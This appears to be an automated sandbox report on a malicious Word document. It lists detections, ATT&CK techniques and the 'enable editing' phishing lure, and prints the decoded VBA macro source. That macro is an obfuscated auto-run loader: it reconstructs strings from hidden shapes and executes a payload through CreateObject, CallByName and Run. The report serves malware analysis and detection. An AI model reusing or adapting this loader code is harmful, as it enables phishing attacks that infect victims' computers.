MALICIOUS
322
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1140 Deobfuscate/Decode Files or Information
T1204.002 Malicious File
The sample contains obfuscated VBA macros within a Document_Open auto-execution function, designed to bypass security measures and execute arbitrary code. The presence of a "Please Enable Editing and Content" lure strongly suggests a phishing attempt to get the user to enable macros. The ClamAV detection 'Doc.Dropper.HexEncodedEXEHeader-9789587-1' indicates the primary function is to drop and execute a secondary payload.
Heuristics 9
-
ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.HexEncodedEXEHeader-9789587-1
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
CallByName call high OLE_VBA_CALLBYNAMECallByName call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10284 bytes |
SHA-256: 9623b8fbefcd5e45064487df410b4116daa31f00b39c3cb6de2b3704223b6c20 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function nUuSHJH(qOMxigV)
On Error Resume Next
Dim xrYrDhK, aEgyZMI
Set xrYrDhK = CreateObject(Replace(ActiveDocument.Shapes.Range(a("03U ZUL 9Z017")).TextFrame.TextRange.Text, vbCr, ""))
Set aEgyZMI = CallByName(xrYrDhK, Replace(ActiveDocument.Shapes.Range(a("03wjVM3w9j5V3")).TextFrame.TextRange.Text, vbCr, ""), 1, Replace(ActiveDocument.Shapes.Range(a("03pPhpYP4h154")).TextFrame.TextRange.Text, vbCr, ""))
CallByName aEgyZMI, Replace(ActiveDocument.Shapes.Range(a("02@H@T7H188")).TextFrame.TextRange.Text, vbCr, ""), 4, Replace(ActiveDocument.Shapes.Range(a("02SASU359A5")).TextFrame.TextRange.Text, vbCr, "")
CallByName aEgyZMI, Replace(ActiveDocument.Shapes.Range(a("03hVnhDV885n7")).TextFrame.TextRange.Text, vbCr, ""), 4, qOMxigV
nUuSHJH = CallByName(aEgyZMI, Replace(ActiveDocument.Shapes.Range(a("04wQoMSw9Q8o7M7")).TextFrame.TextRange.Text, vbCr, ""), 2)
End Function
Function Cabih()
Dim f As String
f = CallByName(CallByName(CallByName(CallByName(CallByName(ActiveDocument, a("02q8Secqtion8s"), 2)(1), a("0571ajd7F1ooatjedrs"), 2)(1), a("02UAURAange"), 2), a("04?GcXIn?liGneGShcaXpes"), 2)(1), a("06WfoD4dAlWtfernaotDi4veTedxt"), 2)
Dim gdrpDKK As String
gdrpDKK = Replace(ActiveDocument.Shapes.Range(a("03JviJM5v3i81")).TextFrame.TextRange.Text, vbCr, "")
KFECHyO = Replace(ActiveDocument.Shapes.Range(a("01:E37:87")).TextFrame.TextRange.Text, vbCr, "")
Dim eiuARKU As Object, ZqJwCcC As Object, nhQqnkg As Object
zppvInE = Replace(ActiveDocument.Shapes.Range(a("02xuxLu1996")).TextFrame.TextRange.Text, vbCr, "")
Set EAIinBB = CreateObject(Replace(ActiveDocument.Shapes.Range(a("03EwAEZ1w83A7")).TextFrame.TextRange.Text, vbCr, ""))
EAIinBB.ManifestText = zppvInE
Set eiuARKU = CallByName(EAIinBB, Replace(ActiveDocument.Shapes.Range(a("03OsXEO83s3X8")).TextFrame.TextRange.Text, vbCr, ""), 1, Replace(ActiveDocument.Shapes.Range(a("017A18739")).TextFrame.TextRange.Text, vbCr, ""))
Set ZqJwCcC = CallByName(EAIinBB, Replace(ActiveDocument.Shapes.Range(a("04gaq4gEa8q3348")).TextFrame.TextRange.Text, vbCr, ""), 1, Replace(ActiveDocument.Shapes.Range(a("03q3DPq235D15")).TextFrame.TextRange.Text, vbCr, ""))
Set nhQqnkg = CallByName(EAIinBB, Replace(ActiveDocument.Shapes.Range(a("01yE83y38")).TextFrame.TextRange.Text, vbCr, ""), 1, Replace(ActiveDocument.Shapes.Range(a("022J2T558J4")).TextFrame.TextRange.Text, vbCr, ""))
Dim URmssXF
URmssXF = nUuSHJH(gdrpDKK)
For Each pQEVIWl In URmssXF
CallByName eiuARKU, Replace(ActiveDocument.Shapes.Range(a("03at aKt32 97")).TextFrame.TextRange.Text, vbCr, ""), 1, pQEVIWl
Next pQEVIWl
eiuARKU.Position = 0
Dim pKgAJek As Object, ugDzsXR As Object
Set pKgAJek = CallByName(ZqJwCcC, Replace(ActiveDocument.Shapes.Range(a("046Mfh6KM7f03h5")).TextFrame.TextRange.Text, vbCr, ""), 1, eiuARKU)
nhQqnkg.Add Empty
Set xEkdbCI = CallByName(pKgAJek, Replace(ActiveDocument.Shapes.Range(a("01 L41 62")).TextFrame.TextRange.Text, vbCr, ""), 1, CallByName(nhQqnkg, Replace(ActiveDocument.Shapes.Range(a("03RvDOR2v1D77")).TextFrame.TextRange.Text, vbCr, ""), 1))
Set EKUKFci = CallByName(xEkdbCI, Replace(ActiveDocument.Shapes.Range(a("01AJ42A52")).TextFrame.TextRange.Text, vbCr, ""), 1, KFECHyO)
CallByName EKUKFci, "Run", 1, a("13IqhXk1SB7?MOjuC@V/{c:I\q\WihnXdokw1sS\B\7sys?temM3O2\\?mjsupaCint@.Ve/x{e"), a(f), a("04tV8@etxpVlor8er.e@xe"), 0
End Function
Sub AllTablesToHeadings()
For Each aTable In ActiveDocument.Tables
For Each oRow In aTable.Rows
oRow.Cells(1).Select
With Selection
.InsertParagraphBefore
.InsertBefore "Requirement converted from table cell "
End With
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.